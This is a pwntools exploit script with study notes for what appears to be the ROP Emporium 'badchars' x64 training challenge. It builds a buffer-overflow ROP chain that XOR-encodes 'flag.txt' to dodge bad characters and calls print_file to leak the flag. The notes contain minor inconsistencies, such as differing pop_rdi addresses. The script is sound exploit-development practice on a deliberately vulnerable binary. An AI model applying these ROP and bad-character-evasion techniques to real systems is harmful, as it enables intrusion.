from pwn import *

"""
How to:
    Unknown register???
        Check here and keep in mind that anything below 32 means the last x (16,8,4) bits
        https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture
    What does an instruction do???
        https://www.felixcloutier.com/x86/index.html

    Check the file for security features
        checksec --file=<binary>                            #Check the security on the binary

    Check the binary for interesting things    
        rabin2 -qs <binary>                                 #Functions inside of the binary
        rabin2 -i <binary>                                  #Imported functions and where they are located
        rabin2 -z <binary>                                  #Programmer specific strings
        objdump -D <binary>                                 #Disassembles everything on the binary
        readelf -S <binary>                                 #Show section headers with information 
       
    Python things:
        cyclic(100, alphabet='bcdef')                                   #alphabet arg is useful for bad characters
        python3 -c 'from pwn import *; print(hexdump("agx."))'          #Prints hex of string in usual hex format
        python3 -c 'from pwn import *; print(enhex(b"agx."))'           #Prints hex of string in copy friendly format
        python3 -c 'from pwn import *; print(p32(0x80483d0))'           #Prints the x32 address in little endian
        python3 -c 'from pwn import *; print(p64(0x0000000000400693))'  #Prints the x64 address in little endian

    Inside of gdb:
        info functions                                      #Shows the functions
        disas <function>                                    #Shows the assembly for the function specified
        p <string>                                          #Grabs the address of the specified object
        search "<string>"                                   #Search for a string and show its address
        jump <function or *Address>                         #Jumps to function or address
        b <function or *Address>                            #Sets up a breakpoint
        More into the potatos (32):
            pattern create <#> {output file}                #Creates a pattern for finding offset
            pattern offset <#>                              #Finds the offset mentioned
    
    Need a ROP?
        ropper -f <file> --stack-pivot                      #Looks up stack pivots
            How to stack stack pivot:
                load function via plt                       #Need to call function to get into GOT
                call puts plt                               #Update GOT
                go back to main                             #Now you can go to the function 
                go to function got                          #You're now in it
                
                put pivot address into esp                  #Set to where you want to go
                
                get leak and subtrack offset of function    #To get to the base of the "program"
                get base and add offset                     #To get to the function in the program in memory
                
                
        ropper -f <file> --search mov                       #Move a value into register (Specializes in transfers)
        ropper -f <file> --search pop                       #Pops a value into register (Specializes in setting up a transfer)
        ropper -f <file> --search xchg                      #Switch values              (Is like a transfer but switches)
            xchg   %dl,(%ecx)                               #Switch dl (edx|rdx) and ecx

        ropper -f <file> --search pext                      #PAIN IN THE ASS                                        (Use pext_find_mask.py for these) 
            mov eax, ebp;                                   #Moves ebp into eax                                     (Setting up eax)
            mov ebx, 0xb0bababa;                            #ebx is set at b0bababa                                 (Hardcoded_value in find_mask.py)
            pext edx, ebx, eax;                             #Compares eax to ebx and writes to edx                  (1 = Dest, 2 = Mask {int}, 3 = Input to compare {"Char"})
            mov eax, 0xdeadbeef;                            #Useless after the pext since we already wrote to eax

        ropper -f <file> --search xlat                      
            xlat   %ds:(%rbx)                               #Looks at rbx and stores it in (al)rax                  (Looks at target register and stores it in al{rax})

        ropper -f <file> --search bextr                     
            pop %rdx;                                       #Pop to rdx 
            pop %rcx;                                       #Pop to rcx
            add $0x3ef2,%rcx;                               #Adds random value to rcx                               (Just subtract 3ef2) 
            bextr %rdx,%rcx,%rbx;                           #Compare rbx to rcx and stores in rbx                   (1 = Dest, 2 = Bit extraction happens, 3 = Index value and Length specified)
                                                                                                                    (For what is shown, it is Index,Bit,Dest)

        ropper -f <file> --search stos                      
            stos   %al,%es:(%rdi)                           #Takes rax(al) and stores it in rdi                    (Takes what is specified in first part and stores it in target register)

    64Bit differences:
        Need to grab the RSP beginning instead  
        If the address is only 4 bytes, pad to 8 
        ropper -f <binary>                                  #Shows all rop gadgets in a binary
        ropper -f <binary> --search "pop rdi"               #Shows all rop gadgets that can pop RDI (For system calls, you need to have the target in RDI)
        ***For 64 Bit, try popping rdi at final function***
        ***For 64 Bit, Gadget -> Variables -> Location***
            Example
                print('A'*40 + '\xc3\x07\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x60\x05\x40\x00\x00\x00\x00\x00')
                      Buffer ->           POP RDI call            ->     What is going into RDI        ->          System()
        For printing, use the actual location vs 32's arg
            0x08048538 <+14>:    call   0x80483d0 <print_file@plt>
            64Bit                       32Bit

    ARMv5 difference:
        EIP/RIP is now PC
        POP r#, pc is the Arm equiv for the pop rdi
        
    MIPS difference:
        EIP/RIP/PC is now ra
        GDB doesn't like it so you can't use it      #Requires manual checking along with exploit dev
        
"""


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe)
    p.sendlineafter('>', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.pc)  # x86
    # ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset

# Bad Char finder
def bad_chars(string, badchars):
    # State check
    clear = False
    # Number to do XOR with. Start with 0 just in case base string is ok
    value_to_xor_with = 0
    
    # Key reason for function is that it will go to the next number as soon as it finds a bad character. 
    # It doesn't care if only 1 is found
    while not clear:
        # XOR process
        xored_string = xor(string, value_to_xor_with)
        # Verify bad characters are not in string
        for x in badchars:
            # A bad character was found
            if x in str(xored_string):
                clear = False
                value_to_xor_with += 1
                break

            # A bad character was not found
            if x not in str(xored_string):
                clear = True  

    # Print success and value
    info("XOR key found without bad characters: {}".format(value_to_xor_with))
    return value_to_xor_with, xored_string 


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


# Binary filename
exe = './badchars'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (warning/info/debug)
context.log_level = 'info'
# Deletes core files if used
context.delete_corefiles = True

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

# Display what the program reports as bad characters
print(str(io.recvline_contains("badchars are")))

# Grab function symbols
data_section_address = 0x0000000000601030
pop_r12_pop_r13 = 0x000000000040069c
print_file = 0x0000000000400620
mov_r12_r13 = 0x0000000000400634
xor_r15_r14b = 0x0000000000400628
pop_r14_pop_r15 = 0x00000000004006a0
pop_rdi = 0x00000000004006a3

# Print out target addresses
info("%#x data_section_address", data_section_address)
info("%#x pop_r12_pop_r13", pop_r12_pop_r13)
info("%#x print_file", print_file)
info("%#x mov_r12_r13", mov_r12_r13)
info("%#x xor_r15_r14b", xor_r15_r14b)
info("%#x pop_r14_pop_r15", pop_r14_pop_r15)
info("%#x pop_rdi", pop_rdi)

# Find Buffer overflow
payload = cyclic(100,alphabet="bcdef")

# Send payload
io.sendlineafter("> ", payload)

# Wait for crash
io.wait()

# Displaying what the bits for the program is
info("Running offset check for {} Bits".format(context.bits))

# Read the crash file
core = io.corefile

# Locate for 64 bits
if context.bits == 64:
    # Locate RIP value and offset
    stack = core.rsp
    # Looks for the first 4 characters of the rsp to find the offset for RIP
    pattern = core.read(stack,4)
    # Finds RIP offset with pattern
    offset = cyclic_find(pattern, alphabet='bcdef')
    # Display offset
    info("Located RIP at {a}".format(a=offset))

# Locate for 32 bits
elif context.bits == 32:
    # Locate EIP value and offset
    eip_value = core.eip
    offset = cyclic_find(eip_value, alphabet='bcdef')
    # Display offset
    info("Located EIP at {a}".format(a=offset))

# Bad Characters
badchars = ['x','g','a','.']
# String you'd like XORd
target_string = 'flag.txt'
# Helper function to find xor values, xor string, and verify that the string does NOT contain the values
value_to_xor_with, xored_string = bad_chars(target_string, badchars)
# Print output
info("%s XORd with %d: %s", target_string, value_to_xor_with, xored_string)

# Null bytes to store information
xor_exploit = b""
# Offset to where the bytes is
data_addr_offset = 0

# WHY ON EARTH DO I NEED TO DO THIS???
## Because this will give instructions on how to deXOR the string you just messed up up there...

# TL:DR; 
# xor takes 2 arguements, r15 and the last 4 bytes of r14.
# Need to give an address to point who you are xoring with
# Need to give what you are xoring with
for x in xored_string:
    # Pop r14 with the next value
    xor_exploit += pack(pop_r14_pop_r15)
    # What to xor with
    xor_exploit += pack(value_to_xor_with)
    # Where the character is
    xor_exploit += pack(data_section_address + data_addr_offset)
    # xor r15 with r14b (r14[-4:])
    xor_exploit += pack(xor_r15_r14b)
    # +1 to go to the next byte
    data_addr_offset += 1

# Build the payload
payload = flat({
    offset: [pop_r12_pop_r13,   #Put in the next 4 arguments
    xored_string,               #First 4 bytes of the data
    data_section_address,       #Where I am putting data
    0x0,                        #Null to make it happy since it wants something in r14
    0x0,                        #Null to make it happy since it wants something in r15
    mov_r12_r13,                #Move esi (XOR data) to edi (Location to write)

    xor_exploit,                #Annoying and complex train to get clean string from xorred string
    
    pop_rdi,
    data_section_address,       #Where I have string
    print_file                  #Function to read something
    ]
})
print(str(payload))

# Save the payload to file
write('payload', payload)

# Start the process again
io = start()

# Send the payload
io.sendlineafter('> ', payload)
io.recvuntil('Thank you!\n')

# Or, Get our flag!
flag = io.recv()

try:
    success(flag)
except AttributeError:
    print("[+] Flag: {}".format(str(flag)))


'''
# Where to start?
    Find out the bad characters
        Running program shows it along with ghidra on the .so file
    Find the offset
        Manual Fuzz with python -c "print 'B'*40" | ./badchars 
    Find print file
        gdb badchars
        disas usefulFunctions
            0x0000000000400620 <+9>:     call   0x400510 <print_file@plt>
    Find gadget to write something
        gdb badchars
        disas usefulGadgets or ropper -f badchar32 --search mov -b '6167782e'
            0x0000000000400634: mov qword ptr [r13], r12; ret;
            I now need something that pops r12 into r13
    Find a way to get info into r12 and r13
        ropper -f badchars --search pop -b '6167782e'
            0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret; 
    Find an xor that doesn't have bad characters
        def bad_chars(string, badchars)
    DeXOR file
        ropper -f badchars --search "xor" -b '6167782e'
            0x0000000000400628: xor byte ptr [r15], r14b; ret; 
    Need to pop things into ebp and bl (bl is the last 4 bytes of a 32 byte ebx)
            ropper -f badchars32 --search "pop ebp" -b '6167782e'
            0x00000000004006a0: pop r14; pop r15; ret;
    Need to have each character deXORed 
        for x in xored_string:
                # Pop r14 with the next value
            xor_exploit += pack(pop_r14_pop_r15)
                # What to xor with
            xor_exploit += pack(value_to_xor_with)
                # Where the character is
            xor_exploit += pack(data_section_address + data_addr_offset)
                # xor ebp with bl (ebx[-4:])
            xor_exploit += pack(xor_r15_r14b)
                # +1 to go to the next byte
            data_addr_offset += 1


# Attack Order
    pop_r12_pop_r13
    xored_string
    data_section_address
    0x0
    0x0
    mov_r12_r13

    xor_exploit
    
    pop_rdi
    data_section_address
    print_file


# How do you know what to do???
    data_section_address = 0x0000000000601030
        readelf -S badchars
            [Nr] Name      Type         Address             Offset        Size              EntSize           Flags  Link  Info  Align
            [23] .data     PROGBITS     0000000000601028    00001028      0000000000000010  0000000000000000  WA     0     0     8

            Addr is what I need
            Size is how much I can write
            **W flag means I can write to it**
            Need to write to the last 8 bytes so add 2 to address
    
    mov_r12_r13 = 0x0000000000400634
        gdb badchars
        disas usefulGadgets or ropper -f badchar32 --search mov -b '6167782e'
            0x0000000000400634: mov qword ptr [r13], r12; ret;
            I now need something that pops r12 into r13
    
    print_file = 0x0000000000400620
        gdb badchars
        disas usefulFunctions
            0x0000000000400620 <+9>:     call   0x400510 <print_file@plt>

    pop_r12_pop_r13 = 0x000000000040069c
        ropper -f badchars --search pop -b '6167782e'
            0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret; 
    
    pop_rdi = 0x0000000000400693
        ropper -f badchar --search pop
            0x0000000000400693: pop rdi; ret; 

    xor_r15_r14b: 0x0000000000400628
        ropper -f badchars --search "xor" -b '6167782e'
            0x0000000000400628: xor byte ptr [r15], r14b; ret; 

    pop_r14_pop_r15 = 0x00000000004006a0
        ropper -f badchars --search "pop" -b '6167782e'
            0x00000000004006a0: pop r14; pop r15; ret;
    
# Manual Exploitation
XORing makes manual exploitation crafting impractical...
'''
